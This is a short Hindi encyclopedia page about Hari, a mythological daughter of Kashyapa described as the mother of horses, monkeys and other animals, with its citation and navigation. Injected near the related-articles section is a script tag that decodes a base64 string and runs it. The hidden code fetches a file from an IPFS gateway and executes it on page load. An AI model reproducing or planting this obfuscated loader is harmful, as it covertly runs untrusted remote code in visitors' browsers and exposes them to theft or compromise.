हरी  

हरी का उल्लेख पौराणिक ग्रंथ महाभारत में हुआ है। ब्रह्माण्ड पुराण[१] और महाभारत आदि पर्व के अनुसार क्रोधवशा के गर्भ से उत्पन्न कश्यप की मृगी, मृगमन्दा आदि बारह पुत्रियों में से एक थी, जो सब-की-सब पुलह ऋषि को ब्याही गयी थीं, उनमें से एक पुत्री हरी थी, जो घोड़ों, बंदर आदि पशुओं की माता कही गयी है। पशुओं की सृष्टि इन्हीं से आगे चली।[२]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 549 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=हरी&oldid=547318" से लिया गया